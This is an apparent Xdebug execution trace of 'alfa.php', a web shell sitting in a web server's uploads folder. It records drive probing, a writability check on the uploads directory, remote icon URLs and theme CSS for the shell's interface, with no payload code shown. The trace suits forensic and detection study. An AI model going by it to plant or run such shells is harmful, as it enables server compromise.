4	105	0	0.016467	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'l:\\'
4	105	1	0.016482	2775784
4	105	R			FALSE
4	106	0	0.016494	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'm:\\'
4	106	1	0.016508	2775784
4	106	R			FALSE
4	107	0	0.016521	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'n:\\'
4	107	1	0.016535	2775784
4	107	R			FALSE
4	108	0	0.016548	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'o:\\'
4	108	1	0.016562	2775784
4	108	R			FALSE
4	109	0	0.016577	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'p:\\'
4	109	1	0.016591	2775784
4	109	R			FALSE
4	110	0	0.016624	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'q:\\'
4	110	1	0.016640	2775784
4	110	R			FALSE
4	111	0	0.016653	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'r:\\'
4	111	1	0.016667	2775784
4	111	R			FALSE
4	112	0	0.016681	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	's:\\'
4	112	1	0.016695	2775784
4	112	R			FALSE
4	113	0	0.016708	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	't:\\'
4	113	1	0.016722	2775784
4	113	R			FALSE
4	114	0	0.016735	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'u:\\'
4	114	1	0.016749	2775784
4	114	R			FALSE
4	115	0	0.016762	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'v:\\'
4	115	1	0.016776	2775784
4	115	R			FALSE
4	116	0	0.016789	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'w:\\'
4	116	1	0.016803	2775784
4	116	R			FALSE
4	117	0	0.016820	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'x:\\'
4	117	1	0.016841	2775784
4	117	R			FALSE
4	118	0	0.016862	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'y:\\'
4	118	1	0.016883	2775784
4	118	R			FALSE
4	119	0	0.016903	2775744	is_dir	0		/var/www/html/uploads/alfa.php	1050	1	'z:\\'
4	119	1	0.016930	2775784
4	119	R			FALSE
3		A						/var/www/html/uploads/alfa.php	1052	$csscode = '\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation'
4	120	0	0.016983	2774376	__showicon	1		/var/www/html/uploads/alfa.php	1058	1	'alfamini'
4		A						/var/www/html/uploads/alfa.php	1237	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/alfa.php	1238	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/alfa.php	1239	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	120	1	0.017070	2774376
4	120	R			'http://solevisible.com/images/alfamini.png'
4	121	0	0.017565	2789336	alfa_getColor	1		/var/www/html/uploads/alfa.php	1069	1	'header_values'
4		A						/var/www/html/uploads/alfa.php	618	$target = '#67ABDF'
4	121	1	0.017619	2789336
4	121	R			'#67ABDF'
4	122	0	0.017643	2790872	__showicon	1		/var/www/html/uploads/alfa.php	1069	1	'alfamini'
4		A						/var/www/html/uploads/alfa.php	1237	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/alfa.php	1238	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/alfa.php	1239	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	122	1	0.017719	2790872
4	122	R			'http://solevisible.com/images/alfamini.png'
4	123	0	0.017747	2794968	__showicon	1		/var/www/html/uploads/alfa.php	1069	1	'alfamini'
4		A						/var/www/html/uploads/alfa.php	1237	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/alfa.php	1238	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/alfa.php	1239	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	123	1	0.017818	2794968
4	123	R			'http://solevisible.com/images/alfamini.png'
4	124	0	0.017843	2794968	__showicon	1		/var/www/html/uploads/alfa.php	1069	1	'btn'
4		A						/var/www/html/uploads/alfa.php	1237	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/alfa.php	1238	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/alfa.php	1239	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	124	1	0.017911	2794968
4	124	R			'http://solevisible.com/images/btn.png'
4	125	0	0.017936	2794968	is_writable	0		/var/www/html/uploads/alfa.php	1070	1	'/var/www/html/uploads/'
4	125	1	0.017969	2795008
4	125	R			TRUE
4	126	0	0.017994	2799064	alfaCssLoadColors	1		/var/www/html/uploads/alfa.php	1070	0
4		A						/var/www/html/uploads/alfa.php	627	$css = ''
4		A						/var/www/html/uploads/alfa.php	628	$key = 'shell_border'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.header'
5	127	0	0.018061	2799064	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'shell_border'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	127	1	0.018116	2799064
5	127	R			'#0E304A'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#0E304A'
5	128	0	0.018155	2799064	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#0E304A'	'border: 7px solid {color}'
5	128	1	0.018180	2799216
5	128	R			'border: 7px solid #0E304A'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'border: 7px solid #0E304A'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.header{border: 7px solid #0E304A}'
4		A						/var/www/html/uploads/alfa.php	634	$k = '#meunlist'
5	129	0	0.018284	2799184	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'shell_border'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	129	1	0.018320	2799184
5	129	R			'#0E304A'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#0E304A'
5	130	0	0.018345	2799184	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#0E304A'	'border-color: {color}'
5	130	1	0.018368	2799328
5	130	R			'border-color: #0E304A'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'border-color: #0E304A'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '#meunlist{border-color: #0E304A}'
4		A						/var/www/html/uploads/alfa.php	634	$k = '#hidden_sh'
5	131	0	0.018423	2799208	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'shell_border'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	131	1	0.018458	2799208
5	131	R			'#0E304A'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#0E304A'
5	132	0	0.018482	2799208	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#0E304A'	'background-color: {color}'
5	132	1	0.018498	2799360
5	132	R			'background-color: #0E304A'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'background-color: #0E304A'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '#hidden_sh{background-color: #0E304A}'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.ajaxarea'
5	133	0	0.018547	2799248	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'shell_border'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	133	1	0.018581	2799248
5	133	R			'#0E304A'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#0E304A'
5	134	0	0.018605	2799248	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
5	134	1	0.018621	2799400
5	134	R			'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.ajaxarea{border: 1px solid #0E304A}'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.foot'
5	135	0	0.018670	2799312	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'shell_border'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	135	1	0.018703	2799312
5	135	R			'#0E304A'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#0E304A'
5	136	0	0.018727	2799312	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#0E304A'	'border-color: {color}'
5	136	1	0.018741	2799456
5	136	R			'border-color: #0E304A'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'border-color: #0E304A'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.foot{border-color: #0E304A}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'header_vars'
5	137	0	0.018790	2799304	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'header_vars'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#27979B'
5	137	1	0.018814	2799304
5	137	R			'#27979B'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#27979B'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.header_vars{color: #27979B;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'header_values'
5	138	0	0.018862	2799336	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'header_values'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#67ABDF'
5	138	1	0.018886	2799336
5	138	R			'#67ABDF'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#67ABDF'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.header_values{color: #67ABDF;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'header_on'
5	139	0	0.018931	2799368	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'header_on'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#00FF00'
5	139	1	0.018955	2799368
5	139	R			'#00FF00'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#00FF00'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.header_on{color: #00FF00;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'header_off'
5	140	0	0.019004	2799432	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'header_off'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#ff0000'
5	140	1	0.019028	2799432
5	140	R			'#ff0000'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#ff0000'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.header_off{color: #ff0000;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'header_none'
5	141	0	0.019073	2799432	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'header_none'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#00FF00'
5	141	1	0.019096	2799432
5	141	R			'#00FF00'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#00FF00'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.header_none{color: #00FF00;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'home_shell'
5	142	0	0.019141	2799496	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'home_shell'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#ff0000'
5	142	1	0.019164	2799496
5	142	R			'#ff0000'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#ff0000'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.home_shell{color: #ff0000;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'home_shell:hover'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.home_shell:hover'
5	143	0	0.019219	2799496	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'home_shell:hover'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.home_shell:hover' => 'color: {color};']]
5	143	1	0.019248	2799496
5	143	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#FFFFFF'
5	144	0	0.019272	2799496	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	144	1	0.019287	2799632
5	144	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.home_shell:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'back_shell'
5	145	0	0.019333	2799552	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'back_shell'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#efbe73'
5	145	1	0.019357	2799552
5	145	R			'#efbe73'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#efbe73'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.back_shell{color: #efbe73;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'back_shell:hover'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.back_shell:hover'
5	146	0	0.019412	2799552	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'back_shell:hover'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.back_shell:hover' => 'color: {color};']]
5	146	1	0.019442	2799552
5	146	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#FFFFFF'
5	147	0	0.019465	2799552	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	147	1	0.019480	2799688
5	147	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.back_shell:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'header_pwd'
5	148	0	0.019527	2799616	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'header_pwd'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#00FF00'
5	148	1	0.019550	2799616
5	148	R			'#00FF00'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#00FF00'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.header_pwd{color: #00FF00;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'header_pwd:hover'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.header_pwd:hover'
5	149	0	0.019605	2799616	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'header_pwd:hover'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_pwd:hover' => 'color: {color};']]
5	149	1	0.019636	2799616
5	149	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#FFFFFF'
5	150	0	0.019660	2799616	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	150	1	0.019675	2799752
5	150	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.header_pwd:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'header_drive'
5	151	0	0.019720	2799744	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'header_drive'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#00FF00'
5	151	1	0.019743	2799744
5	151	R			'#00FF00'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#00FF00'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.header_drive{color: #00FF00;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'header_drive:hover'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.header_drive:hover'
5	152	0	0.019799	2799744	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'header_drive:hover'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_drive:hover' => 'color: {color};']]
5	152	1	0.019828	2799744
5	152	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#FFFFFF'
5	153	0	0.019851	2799744	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	153	1	0.019866	2799880
5	153	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.header_drive:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'header_show_all'
5	154	0	0.019911	2799744	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'header_show_all'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#00FF00'
5	154	1	0.019935	2799744
5	154	R			'#00FF00'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#00FF00'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.header_show_all{color: #00FF00;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'disable_functions'
5	155	0	0.019980	2799744	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'disable_functions'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#ff0000'
5	155	1	0.020005	2799744
5	155	R			'#ff0000'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#ff0000'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.disable_functions{color: #ff0000;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'footer_text'
5	156	0	0.020050	2799872	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'footer_text'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#27979B'
5	156	1	0.020075	2799872
5	156	R			'#27979B'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#27979B'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.footer_text{color: #27979B;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'menu_options'
5	157	0	0.020120	2799872	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'menu_options'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#27979B'
5	157	1	0.020144	2799872
5	157	R			'#27979B'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#27979B'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.menu_options{color: #27979B;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'menu_options:hover'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.menu_options:hover'
5	158	0	0.020201	2799872	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'menu_options:hover'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#646464', 'multi_selector' => ['.menu_options:hover' => 'background-color: {color};font-weight: unset;']]
5	158	1	0.020233	2799872
5	158	R			'#646464'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#646464'
5	159	0	0.020260	2799872	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#646464'	'background-color: {color};font-weight: unset;'
5	159	1	0.020278	2800048
5	159	R			'background-color: #646464;font-weight: unset;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'background-color: #646464;font-weight: unset;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.menu_options:hover{background-color: #646464;font-weight: unset;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'options_list'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.content_options_holder .header center a'
5	160	0	0.020345	2800040	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'options_list'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#00FF00', 'multi_selector' => ['.content_options_holder .header center a' => 'color: {color};']]
5	160	1	0.020376	2800040
5	160	R			'#00FF00'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#00FF00'
5	161	0	0.020401	2800040	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#00FF00'	'color: {color};'
5	161	1	0.020416	2800176
5	161	R			'color: #00FF00;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #00FF00;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.content_options_holder .header center a{color: #00FF00;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'options_list:hover'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.content_options_holder .header center a:hover'
5	162	0	0.020477	2800000	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'options_list:hover'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.content_options_holder .header center a:hover' => 'color: {color};']]
5	162	1	0.020509	2800000
5	162	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#FFFFFF'
5	163	0	0.020533	2800000	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	163	1	0.020547	2800136
5	163	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.content_options_holder .header center a:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'options_list_header'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.txtfont_header'
5	164	0	0.020633	2800128	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'options_list_header'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#59cc33', 'multi_selector' => ['.txtfont_header' => 'color: {color};']]
5	164	1	0.020664	2800128
5	164	R			'#59cc33'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#59cc33'
5	165	0	0.020689	2800128	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#59cc33'	'color: {color};'
5	165	1	0.020704	2800264
5	165	R			'color: #59cc33;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #59cc33;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.txtfont_header{color: #59cc33;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'options_list_text'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.txtfont,.tbltxt'
5	166	0	0.020763	2800128	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'options_list_text'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.txtfont,.tbltxt' => 'color: {color};']]
5	166	1	0.020793	2800128
5	166	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#FFFFFF'
5	167	0	0.020816	2800128	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	167	1	0.020831	2800264
5	167	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.txtfont,.tbltxt{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'Alfa+'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.alfa_plus'
5	168	0	0.020889	2800128	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'Alfa+'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#06ff0f', 'multi_selector' => ['.alfa_plus' => 'color: {color};font-weight: unset;']]
5	168	1	0.020935	2800128
5	168	R			'#06ff0f'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#06ff0f'
5	169	0	0.020959	2800128	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#06ff0f'	'color: {color};font-weight: unset;'
5	169	1	0.020975	2800288
5	169	R			'color: #06ff0f;font-weight: unset;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #06ff0f;font-weight: unset;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.alfa_plus{color: #06ff0f;font-weight: unset;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'hidden_shell_text'
4		A						/var/www/html/uploads/alfa.php	634	$k = '#hidden_sh a'
5	170	0	0.021042	2800152	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'hidden_shell_text'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#00FF00', 'multi_selector' => ['#hidden_sh a' => 'color: {color};']]
5	170	1	0.021072	2800152
5	170	R			'#00FF00'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#00FF00'
5	171	0	0.021095	2800152	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#00FF00'	'color: {color};'
5	171	1	0.021110	2800288
5	171	R			'color: #00FF00;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #00FF00;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '#hidden_sh a{color: #00FF00;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'hidden_shell_version'
5	172	0	0.021157	2800384	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'hidden_shell_version'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#ff0000'
5	172	1	0.021182	2800384
5	172	R			'#ff0000'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#ff0000'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.hidden_shell_version{color: #ff0000;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'shell_name'
5	173	0	0.021227	2800384	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'shell_name'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#FF0000'
5	173	1	0.021250	2800384
5	173	R			'#FF0000'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#FF0000'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.shell_name{color: #FF0000;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'main_row:hover'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.main tr:hover'
5	174	0	0.021306	2800384	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'main_row:hover'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#646464', 'multi_selector' => ['.main tr:hover' => 'background-color: {color};']]
5	174	1	0.021337	2800384
5	174	R			'#646464'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#646464'
5	175	0	0.021361	2800384	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#646464'	'background-color: {color};'
5	175	1	0.021377	2800536
5	175	R			'background-color: #646464;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'background-color: #646464;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.main tr:hover{background-color: #646464;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'main_header'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.main th'
5	176	0	0.021436	2800400	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'main_header'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main th' => 'color: {color};']]
5	176	1	0.021465	2800400
5	176	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#FFFFFF'
5	177	0	0.021489	2800400	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	177	1	0.021503	2800536
5	177	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.main th{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'main_name'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.main .main_name'
5	178	0	0.021566	2800384	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'main_name'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .main_name' => 'color: {color};font-weight: unset;']]
5	178	1	0.021598	2800384
5	178	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#FFFFFF'
5	179	0	0.021621	2800384	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#FFFFFF'	'color: {color};font-weight: unset;'
5	179	1	0.021637	2800544
5	179	R			'color: #FFFFFF;font-weight: unset;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #FFFFFF;font-weight: unset;'
